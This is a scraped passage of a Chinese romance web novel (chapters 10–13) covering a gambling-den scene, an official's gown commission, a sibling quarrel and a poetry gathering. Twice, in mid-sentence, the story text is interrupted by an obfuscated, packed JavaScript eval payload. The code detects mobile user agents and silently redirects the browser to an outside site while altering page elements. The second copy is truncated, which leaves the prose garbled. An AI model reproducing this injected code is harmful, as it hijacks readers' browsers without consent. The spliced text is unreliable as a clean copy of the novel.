应不寐低笑一声,吓唬她:“刚才不是谢我解围?不如以身相许,就当报答了。” 10.迷人眼 “我不要!” 苏锦绣听他要自己以身相许,吓得心都乱了,手脚并用地挣着,却被他抱得更紧。 应不寐抱着苏锦绣往前挪步,刚过玉笙房门,门恰好开了,玉笙推门就看见被应不寐横抱在怀的苏锦绣,当场目瞪口呆,连扇穗都忘了晃。 “玉笙!玉笙救我!”苏锦绣急得声调发颤,伸手就要往玉笙那边挣。 应不寐被她这慌慌张张伸手求救的模样逗笑,如此这般,倒衬得自己像是采花大盗劫了良家小姐,他心下莫名激动,脚步迈得更快。 玉笙愣在原地没反应过来,应不寐已经走远,苏锦绣忙去摸头上的簪子,指尖刚触到簪头,就听应不寐的声音响起:“怎么,还想扎我?” 苏锦绣手一顿,虚张声势:“你要是做混账事,我自然要扎你!” 应不寐不接话,见她在怀中张牙舞爪,只低笑出声,不像嘲讽,倒带了几分开怀。 他没再逗她,很快将她放下,苏锦绣站稳后环顾四周,才发觉已进了醉春坊里的赌坊。 屋内燃着数十盏琉璃灯,光焰灼灼,映得满室亮如白昼。两排紫檀木赌桌整齐地列到尽头,桌面铺着暗纹锦毯,筹码堆得像小山,金的耀眼、银的莹白,还有嵌着宝石的彩筹在灯下泛着光。 四周挂着绣金帐幔,随风轻晃间,能看见账下赌客们或拍桌吆喝、或低声算计,连伺候的丫鬟都穿着绫罗绸缎,鬓边簪着珍珠钗,处处透着奢靡华丽。 苏锦绣站稳后,看着满室喧嚣,蹙眉道:“带我来这里干嘛?” 应不寐步至赌桌前,晃了晃手里的骰子,语气带笑:“没带你以身相许,你很失望?” 还没等苏锦绣骂他,应不寐就笑着把她带到身前,对着对面的庄家说了声“开”。 话音刚落,骰子就被抛入桌上青花碗中,滴溜溜打转,周遭赌徒目光齐聚,声声吆喝此起彼伏。 应不寐塞给她一个骰子,苏锦绣猛地抽手,骰子“哐当”掉在青石板上,滚到一个络腮胡赌徒脚边。那人骂骂咧咧捡起骰子,抬眼看见她,眼睛顿时亮了:“哟,应兄今日又换伴儿了?艳福不浅啊,小美人儿陪哥哥赌两把?赢了哥哥把筹码都送你!” 应不寐把苏锦绣箍在身前,指尖正漫不经心地数着桌上筹码,听到赌徒的话,面无表情地扫他一眼,言简意赅:“她是我的人。” 络腮胡的闻言脸色微僵,才知这女子与往日的不同,忙赔笑走了。 苏锦绣这才发觉,周围的赌徒不知何时都停了手,齐刷刷盯着他们,眼神里混着探究、贪婪,还有难以掩饰的敬畏。 应不寐突然捏住她下巴,强迫她抬头看自己:“巧娘你看,这世道就是这样。要么有钱,要么有权,要么……”他俯身贴近,语气带着引诱,“有个靠山。” 苏锦绣不想听他这些歪门邪道,狠狠推开他,往后退了两步,不小心撞在一个摆满筹码的木桌上,银筹码哗啦啦掉了一地。 应不寐看她不知所措,突然低笑出声:“逗你的。”随即弯腰捡起一把泛着冷光的银色筹码,不由分说塞进苏锦绣手心:“拿着,来都来了,赌一把试试运气。赢了全归你,输了算我的。”话音未落,他手臂一收,又将她稳稳搂在身前,姿态亲昵得不容推拒。 苏锦绣脸颊发烫,只觉今日被他连番占便宜,她深吸一口气,抬头直视他:“热爱人生,拒绝黄赌毒,我不赌。” 应不寐正低头整理筹码,未听懂她的话,只捕捉到“拒绝赌”三字。 他垂眸看向怀中人,沉吟一瞬,俯身贴近她耳尖引诱:“嗯?不想赌?”他刻意放轻了声音,像羽毛般搔在人心尖,“就陪我玩一把,赢了,立刻送你回去。” 苏锦绣挣了挣,却被他搂得更紧,无奈之下,只能攥紧手心冰凉的筹码,咬着唇点头:“只玩一把。” 应不寐牵着苏锦绣走到赌桌前,庄家正将一套刻着花鸟纹的骨牌摆开,介绍道:“今日先开花会猜牌,桌上十二张骨牌各绘一种花卉,我藏一张在袖中,诸位猜花色,猜中赔三倍。” 苏锦绣刚听清规则,就见应不寐随手点了张绘着牡丹的骨牌,语气随意:“就押这个,看着富贵。” 方才庄家摆牌时,指尖在绘着山茶的骨牌上多顿了一瞬,收袖时袖口还沾了点山茶花瓣的淡粉颜料,想来是藏牌时蹭到的。她拉了拉应不寐的衣袖,轻声问:“应不寐,你信我吗?” 应不寐侧眸看她,桃花眼弯起:“自然信你。” “那换这个。”苏锦绣指尖点向山茶骨牌,“牡丹虽贵,却不及山茶藏得巧。” 应不寐挑眉,依言将筹码移过去。周围赌徒见状,都笑这两人瞎猜,连庄家都露出了然的笑。可等庄家亮出袖中骨牌,正是那朵山茶时,众人顿时噤声,庄家便将三倍筹码推过来。 “你怎看出来的?”应不寐俯身问她。 苏锦绣刚要解释,却见他突然凑近,似要吻自己脸颊。她心头一跳,忙抬手摁开他的脸,蹙眉道:“你又没喝酒,怎么一直发癫?”说罢往后退了半步,刻意与他拉开距离。 应不寐眼底闪过笑意,没再逗她,只指了指下一桌:“一场三局,还有两局,别急着走。” 第二局是六博掷采,桌上摆着六枚刻着篆文的木博子,规则是掷出后,根据篆文组合定输赢,“日月同辉”赔五倍,“三星连珠”赔三倍,最常见的“散乱无章”则输注。 众人看着复杂的篆文组合,都犯了难,连老赌徒都犹豫着不敢下注。 苏锦绣盯着博子瞧了半晌,眉峰微蹙,这些篆文排布杂乱,她一时竟摸不透规律。 这时,应不寐悄悄凑到她耳边,声音压得极低:“看博子边角,磨损重的那面落地时更稳。” 苏锦绣闻言心头一动,盯着庄家手中的博子,见其掷出时手腕果然微偏,再看博子磨损的边角,立刻取了筹码押在“日月同辉”上。 “姑娘疯了?这日月同辉半年都没出过一次!”旁边赌徒惊呼,庄家也冷笑着催促:“确定要押这个?” 苏锦绣点头,刚落注,博子便落 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她猛地吸了口气,强迫自己收回目光,抬眼打量起赌坊景致。这才发现,赌坊梁上挂着的走马灯,画的是连中三元的赌局图案,灯影流转间晃得人眼晕;墙角燃着的香,是赌坊常用的迷魂香,闻久了容易让人头脑发沉、贪念滋生;连方才递水给她的伙计,碗沿都沾着一点蜜浆,喝下去后舌尖发甜,更易让人放松警惕。 这些细节单独看并不起眼,可凑在一起,分明是有人在暗中引导她上瘾。苏锦绣后知后觉地惊出一身冷汗,第一局她靠自己赢了钱,第二局应不寐提点她,本以为是自己占了上风,却没想从踏入赌坊开始,就落入了圈套。 银筹在苏锦绣掌心堆得温热,周遭的惊叹声还没消散,她却突然将筹码往桌上一推,语气骤然冷下来:“我不玩了。” 方才眼底的亮意瞬间敛去,只剩清明。 琉璃灯映出的五光十色倾泻在应不寐身上,他整个人在光影里流转,真像只开屏的孔雀,华彩逼人。他挑着眉看她,眼里盛着玩味,既带着几分“猎物竟没入套”的惊奇,又藏着引诱她再度伸手的暗劲,仿佛下一秒就要用这满桌银辉,将她拽进欲望里。 “赢了钱,不开心吗?”他俯身靠近,声音里裹着笑意,“怎么突然不想玩了?” 应不寐忽然倾身,捏住苏锦绣的下巴,指腹轻轻摩挲着她颊边那点被赌坊暖气熏出的薄红,“还是……”他尾音拖得绵长,眼神往她颈间银锁扫了扫,“怕回去被你那狼崽子似的阿弟骂?” 苏锦绣总觉得这话听得怪,就像她是一个怕被家中正妻管教的赌鬼丈夫似的,语气不自然地带上了几分硬气:“我怕他作甚?” “小赌怡情,大赌伤身,见好就收,总比贪心不足栽了跟头强。” 应不寐闻言默然,指间骨牌轻落,烛火在他眼底,明灭不定,他情绪愈发难辨,似有千言,终是凝在喉间,化作无声的沉郁。 毫无预兆,他突然带着苏锦绣转身往外走,玄色衣摆扫过狼藉筹码,没有半分留恋。 苏锦绣被拉得踉跄,只得小跑跟上,想问缘由,见他情绪不对,终是没开口。 跨出赌坊大门时,身后传来窃语: “坊主今日怎的了?前刻还陪姑娘赌着,这就走了?” 11.作嫁衣 刚跨出门槛,便见月光如练,落在应不寐身上,给他周身镀了层冷润的银边。 “应不寐,你到底想要什么?”苏锦绣终是忍不住开口,声音在夜风中微微发颤。 方才赌坊众人的窃语她听得真切,他既是坊主,那此前的赌局,分明都是他设下的圈套。她实在不明白,他这般虚与委蛇,到底想从自己这里得到什么,倒不如此刻摊开明。 应不寐闻言顿住,那张素来染着笑意的脸,此刻竟如古寺玉像般苍白死寂,没了半分活气。 试探,挣扎,还有些连他自己都未察觉的松动,朦胧得让人抓不住半分真切。 良久,他才低声重复,声音轻得像被风吹散的叹息: “想要什么……” 说完此句,便不再多言,态度莫测,只静默行至醉春坊门口,一辆油光水滑的乌木马车赫然出现,辕马的鬃毛梳得一丝不苟,排场比县太爷出巡还要讲究。 应不寐斜倚着车门看她,手里把玩着那枚龙凤佩,玉佩相撞发出清脆的响声:“送你?” “我自己走。”苏锦绣暗自思忖,若是坐了这马车回家,明日整条绣巷的人怕是都要上门来探问。 应不寐却如未闻,慢悠悠地收起玉佩,弯腰钻进马车:“上来吧,送你到巷口,不进去。”他撩开车帘,露出里面铺着雪白狐裘的坐垫,“再磨蹭下去,你阿弟该提着枪来找你了。” 苏锦绣闻言思衬再三,终是弯腰钻进了马车,车顶夜明珠莹润生光,紫檀壁嵌银丝云纹,雪白狐裘铺地,墨玉矮几上霁蓝瓷瓶斜插红梅,龙涎香袅袅,雅致华贵。 车帘落下,隔绝了外面的世界,也彻底断绝了她最后一点退路。 应不寐入车便斜倚狐裘,阖目养神,一改往日里跳脱,只余沉默,不知在盘算着什么。 车内只闻熏香轻绕,两人相对无言。 苏锦绣目光扫过壁上悬着的白兔瓷像,瓷色如凝脂,兔耳蜷曲,釉色莹润得似能映出人影,透着几分憨态雅致。 见应不寐未有动静,她悄悄伸手取下,指尖摩挲着细腻的瓷面,只觉可爱得紧。 忽听得车夫一声低喝,马车猛地顿住,苏锦绣心下一紧,忙将瓷像拢在怀中护好,身子却不由自主往前倾去,额角轻轻撞在车壁的雕花木板上,泛起一阵疼。 “自个儿都坐不稳,倒先护着这玩意儿。”应不寐的声音冷不丁响起,眼睫未抬,语气听不出情绪。 “若摔了,你定要我赔,我可没那么多银钱。”苏锦绣并没听懂他的言外之意,揉着额角,小声反驳。 车夫的声音带着几分迟疑传来:“公子,前方路不好走了,张府的人马回来了,那阵仗……实在惹不起。” “继续走。” “既不好走,为何还要往前?”苏锦绣不解追问。 应不寐缓缓睁眼,眸光掠过她,喉结微滚,终究是没答。 “好好的,看我做什么?”苏锦绣被他看得不自在,伸手便去掀车帘。 暮色里,一座朱门大院撞入眼帘。飞檐如展翼,青砖铺就的台阶层层叠叠,门前两尊汉白玉石狮昂首而立,匾额上“张府”二字鎏金熠熠,衬着两旁挂着的大红灯笼,端的是气势恢宏,贵气逼人。 “哇……”她忍不住低呼出声。 “放下!”应不寐声音陡然拔高,猛地倾身过来,按住她掀帘的手,将车帘重重落下。 苏锦绣被他这突如其来的怒气惊得一怔,车外马蹄声急促响起,一个清亮的男声穿透夜色而来:“应兄的马车?这不是巧了,许久不见,怎在此处停留?” 方才那掀帘的一瞬,苏锦绣已将车外骑着高头大马的男子瞧得真切。他身着深紫官袍,乌纱帽沿下,眉峰如墨画般斜飞入鬓,一双眸子却不似寻常贵胄的温和,而是宛若寒星坠潭,锐利迫人。 论模样,端的是俊朗不凡,举手投足间自有高官重权的沉稳威势,真真配得上一表人才四字。 可不知怎的,那股赞叹刚起,心底便悄然漫上一丝怯意。明明是头一遭相见,未闻其言,未观其行,却总觉此人绝非易与之辈。这初见的畏惧来得蹊跷,却又真实得很。 应不寐突然叹息,气蕴无奈,隐挟烦扰。他侧眸睨苏锦绣,眉峰微蹙,仿佛她方才那掀帘的举动,捅了什么天大的娄子一般。 不过是掀了车帘瞧了一眼,至于吗? 应不寐整玄缎衣袍,转身将下,可临到车门处,却又回头看了她一眼。 眸光邃远,似藏着千言万语,有叮嘱,有担忧,如蒙烟霭。 “无论外头发生什么事,你且在车里待着,不许下来半步。” “哦。”苏锦绣低应。 车外,张明叙勒马收缰,腰间金鱼袋撞在鞍鞯上,闷响低沉。 “张大人。”应不寐躬身行礼,姿态僵如提线木偶,他素爱洁净,如今锦袍扫过马蹄溅起的泥点,却面不改色。 张明叙应了声,翻身下马,玉带扣撞在剑鞘上,叮当作响。他目光越过应不寐,直锁车厢:“应兄深夜来访,是为上次所议之事?”语带笑意,提步便要向马车走去,靴底碾过青石板上碎叶,脆响刺耳。 “不是。”应不寐倏然抬首,“只是送故人归家,非为前事,惊扰大人了。” 张明叙脸色骤沉:“故人?”他伸手欲掀车帘,“何等故人,值得应兄亲送?” “大人。”应不寐上前一步,扣住他手腕,袖中指尖掐出深痕,声线却强作平静,“此女身份卑微,恐污了大人眼目。” 张明叙冷笑,挥开他的手。 车内苏锦绣正想着“果然嫌我丢脸”,车帘就忽被猛地掀开,猝不及防与张明叙对视。 张明叙掀帘见了苏锦绣,瞳孔骤缩,方才的从容笑意瞬间凝固。那双惯含威光的眼全然失了平日沉稳,只剩撞见稀世珍宝般的怔忡,连指尖都下意识顿在帘上,整个人僵在原地。 其身后小厮猛然倒抽冷气,颤声低呼:“大人,这、这姑娘……” 张明叙怔了约莫半盏茶的光景,方缓过神来,轻声问道:“姑娘芳名几何?府上在何处?” 苏锦绣心下满是疑云,他周身那股居高临下的威压,如寒潭浸骨,让她下意识将求助的目光投向应不寐。可他偏垂着眼帘,半分也不与她对视。她素日里口齿伶俐,应对得体原是不难,此刻却被那股莫名的寒意慑住,半句也答不出。 张明叙的指尖已近得能触到她鬓边碎发,苏锦绣惊得往后缩了缩,余光瞥见他身后的侍卫,已如鬼魅般悄无声息围拢马车,她只觉心跳如擂鼓,震得耳膜嗡嗡作响。 早知会卷入这等是非,便是打死她,也不会坐应不寐的马车! “应兄。”张明叙倏然转头,那双方才还带着惊怔的眼,此刻竟盛满了贪婪,几乎要从眼底溢出来,“这姑娘,莫不是你特意为本官寻来的……” 苏锦绣虽瞧不清应不寐神色,却见他垂在身侧的手猛地攥紧,他的沉默足足凝滞了三息。 久到苏锦绣以为他已经默认。 却忽闻他一声轻笑,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277536|181871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这寂寂夜色里格外分明,他收了方才的沉凝,重又恢复那副游刃有余的模样,眸间闪烁着不明的光。 “此女乃绣巷苏家的姑娘,今夜不过顺路送她归家。”他语调轻缓,字字清晰。 “绣巷苏家?”张明叙眉头紧锁,显然未曾听过这名号,目光复又落回苏锦绣脸上,竟如商贾打量货物般,从上至下细细扫过,眼底的满意毫不掩饰,仿佛已将她视作囊中之物。 苏锦绣被这目光盯得浑身发僵,正觉难堪,却见张明叙抬手放下了车帘,隔了层素色帘布,他的声音传进来,带着几分不容置喙的意味:“既是绣巷人家,想来针黹功夫不凡。苏姑娘,可否接在下一单活计?” 车帘内,苏锦绣指尖攥着衣角,声音仍带着未散的颤抖:“不知是何活计?” “吾……吾妹,出嫁在即,需一套凤冠霞帔,你若能在半年内绣成,酬劳百两黄金,可先付一半。” 她心头的惧意瞬间被狂喜冲散,百两黄金?阿钦往后的读书开销,岂不是再无愁绪? 应不寐似要开口,却被张明叙抬手打断,他目光紧盯着车帘,语气骤然沉了几分:“接,还是不接?” 苏锦绣隔着帘布,未曾瞧见他的侍卫刀已出鞘,正犹豫间,应不寐开口替她应下:“张大人既已开口,苏姑娘岂有不接之理?” 帘外顿时响起张明叙的笑声:“应兄果然识趣。” 不多时,便有仆从端着朱漆嵌螺钿托盘趋前,盘上覆着暗纹云绫,沉甸甸压得托盘沿微弯,显是那五十两足赤金。应不寐接了托盘,转身登车,绫下漏出的金光,在昏如墨染的车厢里晃得人眼晕。 归途中,倏尔变天,穹窿暗合,不多时,狂风便卷着雨箭抽打车厢,发出闷响。 宿劫般的沉郁,夜色如浊浪翻涌。 苏锦绣伸手挑开云绫一角,灿灿金元宝映入眼帘,晃得她心尖发颤。这般易得的重金,总觉如坠蜃楼,教她莫名忆起“德不配位,必受其殃”的古训,指尖刚触到金锭的寒凉,就如遭烫般缩回。再抬眼时,正撞进应不寐的目光,那双眼里含着审度,又似藏着谶语般的提醒。 “这……可还能退?” 未等应不寐作答,车外忽传一声熟悉呼唤,带着几分急切的惶遽:“阿姐?” 苏锦绣猛地掀帘望去,只见巷口立着个熟悉的身影,正是闻时钦。 他未携雨具,暴雨将衣衫淋得透湿,发梢垂雨珠,顺着犀颅玉颊的轮廓滚落,反倒添了朗目疏眉的清冽。颊边水渍混着什么,在昏灯下望去,竟分不清是雨是泪。 苏锦绣见状,哪里还顾得其他,伸手便要掀帘下车,却被应不寐一把攥住,指腹扣着她腕间细骨:“你的金子。” “我不要了!”苏锦绣挣开他的手,掀帘便冲入雨幕,雨水瞬间浇透她的衣发,黏在颊边颈间,她却浑不在意,踉跄着奔到闻时钦身旁,伸手替他拂去额前湿发,指尖触到他冰凉的额角:“怎么不打伞?” 闻时钦眼眶泛红:“我怕回去取伞……便错过阿姐……阿姐,我还以为……你不要我了。” 苏锦绣见他这般模样,心头一酸,想起他左臂旧伤未愈,忙握住他冰凉的手,那手心里的湿冷透过指尖传来,让她鼻间发酸:“怎会不要你?走,我们回家。” 湿冷的雨丝黏在两人衣发间,脚步虽急,倒也添了几分相依的暖意。 忽有一声嗓音,如淬了冰的利刃,硬生生冲破密集的雨幕,砸得他们同时怔住: “苏巧娘,你的金子还在这。” 12.雨连天 应不寐端着那盛金嵌宝的锦盘自车中步下,五十两黄金沉甸甸压在掌心,车夫早已躬身候着,见他落地,立刻撑开一柄青绸伞,稳稳遮在他头顶,隔绝了漫天雨丝。 他立在伞下,目光扫过不远处淋雨的二人,相携而立,衣衫打湿大半,却依旧紧紧挨着,倒比这宝马香车更显暖意。 世人皆羡金玉满堂,可纵有万贯家财,若无人共赏雨打芭蕉、同话巴山夜雨,这般富贵又与寒潭孤月何异?倒不如像那二人,纵然布衣蔬食,却有彼此温暖肩头,纵使淋雨受寒,也胜过长夜独对金银,任寂寞噬心。 应不寐心中酸涩,神态却故作闲适,如庭中赏雨,刻意放缓了步子朝着他们走去。 车夫忙取了另一柄竹骨油纸伞,快步递到苏锦绣手边。苏锦绣接过伞道谢,慌忙撑开,伞骨一转,便将自己与闻时钦都拢进了这方小小的避雨天地,指尖还下意识地往闻时钦那边推了推伞沿,生怕他再被雨打湿。 可闻时钦的目光,却全然落在了应不寐手中的托盘上。 应不寐将他的神色尽收眼底,指尖轻轻一勾,便将那暗纹云绫缓缓抽离,霎时间,黄金的冷光在雨雾中乍现,映得周遭雨丝都似镀了层淡金。 一个寻常民女,深夜随华服男子下车,男子还亲手递上重金,任谁见了,都会生出些揣测。 苏锦绣瞧着闻时钦脸色愈发阴沉,心头一慌,忙攥住他的衣袖,急切解释:“阿钦,这是阿姐接的新活,能供你……” “谁家的?” 三个字,冷不丁打断了她的话,闻时钦的目光依旧锁在应不寐身上,声音再没有半分温度。 苏锦绣被他问得一怔,才猛然惊觉,自己竟连那人的姓名都未曾问清,忙看向应不寐,语气带着几分慌乱:“应不寐,方才忘了问,定这活计的那位贵人是?” 应不寐语气平淡:“正二品参知政事,张明旭,张贵妃的表兄。” “张明旭”三字入耳,苏锦绣愣住,闻时钦则如遭雷击,脸色瞬间煞白,他猛地上前一步,一把揪住应不寐的衣领,死死盯着应不寐含笑的嘴脸 ,恨不得将他生生撕碎。 苏锦绣连忙扔了手中的伞,扑上前紧紧抱住闻时钦的手臂,唤他:“阿钦,你冷静些!” 雨珠打在苏锦绣的发间,顺着脸颊滑落,可她顾不上擦,只死死抱着闻时钦的胳膊。 闻时钦额头青筋暴起,感受到苏锦绣温热的触感,理智稍稍回笼,放下手,却依旧怒视着应不寐,声音嘶哑:“你是何居心?” 应不寐笑意未敛,抬手将黄金托盘递与车夫,才开口:“小郎君好烈的火气,贫道不过是成人之美。张大人愿出百两黄金,请苏姑娘绣嫁衣,这可是……” “闭嘴!” 二字如冰珠裂玉,闻时钦抹掉苏锦绣的手,随即猛地扣住应不寐脖颈,旋身发力,将人狠狠掼在青砖墙上。檐角积雨簌簌落下,打湿了应不寐的锦袍,终于给他添了了几分狼狈。 “成人之美?”闻时钦俯身逼近,唇边勾起一抹极冷的笑,眼底翻涌的戾气几乎要溢出来,“你敢将她推入火坑,还装得一副施恩菩萨模样?” 苏锦绣还没反应过来,闻时钦的拳头已结结实实砸在应不寐左颊。这一拳力道极重,应不寐偏过头去,唇角瞬间溢出血丝,顺着下颌滴落,在顺着雨迹晕开。 “阿钦!”苏锦绣惊得魂飞魄散,她慌忙扑上前,从后死死抱住闻时钦的腰哭喊:“阿钦你快停手!” 闻时钦喘着粗气,胸腔剧烈起伏,还要再挥的拳头悬在半空,指节因用力而泛白。应不寐唇角挂着血迹,却仍扯出一抹冷笑,落在闻时钦眼中,比任何挑衅都更刺骨。 “滚。” 闻时钦猛地甩开应不寐,“带着你的黄金和龌龊心思滚,别再打她的主意。” 苏锦绣心胆俱裂,忙上前拽住应不寐的袖角,半拉半扶地将人往马车那边推,只盼他能早点离开,免得身后的闻时钦再动怒伤人。待看着应不寐踉跄上车,车帘落下,她才转身折返。 雨还在下,闻时钦仍立在原地,衣衫被风雨灌得鼓胀,胸膛仍在剧烈起伏,像只蓄势待发的怒兽。那柄油纸伞歪在脚边,伞骨断裂,狼狈地浸在积水里。 她才往前走了两步,闻时钦就死死盯着她,眼底翻涌着未熄的怒火,上前一把攥住她的手腕,不由分说地往家拽。 踹开门进屋后,他转过身,声音里满是压抑不住的愤怒和后怕:“你可知那是什么人?” 苏锦绣被他吼得一怔,她从未见过闻时钦这般凶,委屈瞬间涌上心头,眼泪在眼眶里打转:“我……我不是为了供你读书才……” 话音未落,他抬脚踹向脚边绣盆,那是苏锦绣昨夜刚浸上的绣线,此刻被踹得散了一地,五颜六色丝线混在水里,像极了他们此刻凌乱的心。 “为了我?”闻时钦看着满地狼藉,突然冷笑起来,“我命贱,不用靠女人卖笑换钱读书。” “我没有!”苏锦绣终是忍不住反驳,“我是绣嫁衣,而且那是百两黄金,足够你去白鹿洞……” “我说了不去!”闻时钦猛地打断,上前一步,双手死死箍住苏锦绣的肩膀,语气里满是近乎哀求的暴躁:“你听不懂人话吗?我不去白鹿洞,不当状元郎,更不当什么狗屁文臣!我就在这绣巷守着你,守着这破院子,守着你这双能绣出金线银线,却绣不出自己安稳性命的手!” “啪——!” 清脆的巴掌声在雨夜里骤然炸开,苏锦绣自己都愣住了,手心火辣辣地疼,像是扇在了烧红的烙铁上。闻时钦的左颊泛起红痕,他却浑然不觉般,只回头定定地盯着苏锦绣,眼底翻涌着惊涛骇浪。有被误解的愤怒,有怕她涉险的恐惧,更有一丝深不见底的绝望,像溺在深海里的孤灯,摇摇欲坠。 “阿姐……”他突然低低笑起来,笑声里裹着浓重的哭腔,眼泪顺着脸颊滑落,砸在苏锦绣的手背上,滚烫得惊人。 他轻轻牵起她方才打自己的手,低头吻上她的掌心,怕她方才用力过狠,伤了自己。 “你打我吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏锦绣忽觉鼻尖发痒,一个喷嚏猝不及防打了出来,才惊觉方才只顾着心绪翻涌,湿衣未换,长发也还滴着水。她忙下床寻了套干燥寝衣换上,又取布巾将长发松松裹住,指尖触到发间残留的凉意,心头也跟着一颤。 目光不由自主地飘向窗外,闻时钦的卧房的方向。她暗忖,不知他是否也换下了湿衣,会不会着凉?念头刚起,又猛地甩了甩头,暗自懊恼。 强压下杂念,苏锦绣重新坐回案前,凝神细思今日之事。她还记得那书中分明记载,张明叙是闻时钦入仕后的提携恩公,可闻时钦如今尚未参加科举,连仕途的门都未踏入,怎会与这位正二品参知政事结下如此深仇? 劳心劳力了一整天,苏锦绣困极,思虑不了太多,最后索性抛去诸般杂念,沾枕便坠入梦乡。 夜半朦胧间,只觉被角一暖,似是有人轻手为她掖好被边,微凉指尖擦过手背,又迅速收回。 随即,柔软布巾覆上发间,湿发被细细擦拭,动作轻得怕惊破她的梦境。 13.漱玉集 翌日,晨雀啼鸣如常。 透过碧纱窗漏进来的天光如常,檐角铜铃随风轻晃的脆响如常。 苏锦绣睁眼,额间的胀痛还未散去,昨夜争执的余味却先漫上心头。 谁掷地有声,将狠话拆成利刃;谁扬手落掌,惊得烛火乱颤;又是谁喉间哽咽,将千言万语堵成红眶里的水光,最终只剩沉默对峙,任夜色浸凉了满室空气。 相伴时知心如春暖,离散后常对晓霜寒。 叹息罢,素手纤纤掀开罗帐银钩,姜桂的辛香便钻入鼻端。苏锦绣好奇寻源,只见床头小凳的托盘上,一盏霁蓝釉白瓷碗里盛着姜汤,热气袅袅氤氲。端起欲饮,方见一张素笺压在碗底,是闻时钦那手遒劲的行书: “晨食在镬中温着,勿使腹空。” 寥寥数字,竟让她鼻尖微酸。细细再想,昨日之事她也有错,不分青红皂白便动了手。是而匆匆净了手,换上一身豆绿绫裙,想着去寻闻时钦致歉。 然而她转遍了整个院子,青砖角、绣架旁,连柴房的门都推开看过,却始终没见闻时钦的身影。灶上温着的真君粥还冒热气,就着他留的瓜齑吃下,又端起那碗温度刚好的姜汤一饮而尽。想来是算着她醒的时辰热过,暖意顺着喉咙往下淌,愧疚却在心头愈沉。 离漱玉诗会只剩三日,左右寻不到闻时钦,她便转身坐回绣架前。 架上搭着的云墨山水裙已绣出大半,裙上风物仿的是李公麟的《潇湘卧游图》,以墨色丝线为底,用银灰、石青细细晕染,将画中潇湘烟雨的朦胧、远山叠嶂的苍劲绣进绢布,针脚起落间,泼墨入绢,山水跃然。 她故意绣到暮色四合,累极了就坐在矮凳上打盹,想等闻时钦回来,却终究抵不过困意,歪着头睡着了。 再醒来时天已微亮,她发现自己躺在床上,被角严严实实地掖着,才知他昨夜回来过。 灶房里又有新熬的姜汤、温着的琼酥叶和梳儿印,房里连她绣到一半的杂乱丝线也都按颜色排好,可他又不见了踪影。 这般过了两日,闻时钦总在她睡时归来,醒前离去。 苏锦绣一边绣着山水裙上的渔舟晚唱,一边忍不住猜他在忙些什么。 第三日清晨,泼墨裙的最后一片远山落定。 苏锦绣放下绣针,一阵咳嗽紧过一阵,虽有姜汤暖身,她还是染上了轻微风寒。看着裙上完整的潇湘景致,她心里忽然发空,格外念着闻时钦的好。 大抵人总是在脆弱时,才懂得把寻常日子里的暖意,挂念出来当慰藉。 第四日,苏锦绣无心上妆,只取妆奁中那盒玉女桃花霜薄薄涂了一层便罢,又着了身嫩麹罗裙,腰间碧带轻束,外罩纱衣,气韵飘渺如仙,戴上幂篱,径直往漱玉诗会举办地清晖榭而去。 入内后苏锦绣未凑热闹,只拣榭内角落蒲团坐下,静看案上墨痕。 这便是汴京每半年一次的漱玉诗会,无需拜帖,不问出身,只要胸有文墨皆可入内,久而久之成了文人墨客争相赴会的雅事,更有“一席漱玉,名动京华”的说法。诗会惯例以三题决诗魁,末了评出才子魁与佳人魁,佳作则会收录进刊印的《漱玉集》。 这诗集常成为汴京街头巷尾传唱的风雅谈资,上至贵胄下至市井,皆以能入集为荣。 榭外忽然起了阵轻风,携着满池荷香掠过朱栏,众人下意识抬眼望去,只见玉笙踩着碎步而来。前两场比试中,她以锦心绣口的才情攫住全场目光,此刻要做最后一场知己赏评,竟特意换了身别样行头。 那是件云墨山水裙,绢面上近水含烟,正是苏锦绣临终前耗尽心血绣就的潇湘绣活,墨色浓淡间藏着孤舟蓑笠翁的清寂,又透着行到水穷处的疏朗,恰好扣住了“品雅韵、悟心境”的题眼。 她行至榭中琴案前,屈膝坐下,素手轻抬,便有泠泠琴音流淌而出。众人望着她裙上鲜活的山水,听着与绣意相融的琴音,竟忘了这是场比试,只觉眼前人、衣上景、指间音,都成了留在世间的最后一段雅韵。 “好一个琴画相融!”人群里忽然有人开口,正是如今风头正劲的诗人元徵明,他端着酒盏起身,笑着摇头:“方才还愁没个由头赠诗,这下倒有了。” 只见他略一沉吟,声音朗然:“墨染潇湘缀素裙,指尖琴韵落行云。不施粉黛添娇色,自有清光映榭群。” “知己同评诗画意,才情暗与雅风分。休言风月输鸿儒,一曲能令四座闻。” 诗句刚落,满榭顿时爆了声好。玉笙的琴音刚好收在尾音,她抬眸望向元徵明,眼底脉脉:“元兄这诗,倒比我自己还懂这身裙、这曲琴。” 元徵明笑着举杯:“你我相交多年,若连这点心意都品不出,倒枉称知己了。” 主会人也抚掌起身,手里托着佳人簪走过来:“玉笙姑娘这一身山水、一曲琴音,再配上元公子的诗,当真是把知己赏评的意趣演到了极致。这佳人诗魁,非你莫属!” 诗会既散,玉笙携着苏锦绣的手向外行,语气里满是赞叹:“巧娘,你当真是块经商的料子!我方才那几身绣衣,已被文人们写入诗集,我也依你所嘱,将‘华韵阁苏娘子’的名头顺势传开,明日阁中订单定要盈门了!” 苏锦绣莞尔温声道:“你是最大的功臣,往后你要多少绣裳,我便给你做多少。” 玉笙激动得当即抱住她,方才诗会上的温恭自虚荡然无存,惹得苏锦绣哭笑不得。 刚走出清晖榭,路过假山时忽闻争执声,苏锦绣比了个嘘,玉笙会意,两人便弯腰悄悄凑过去。 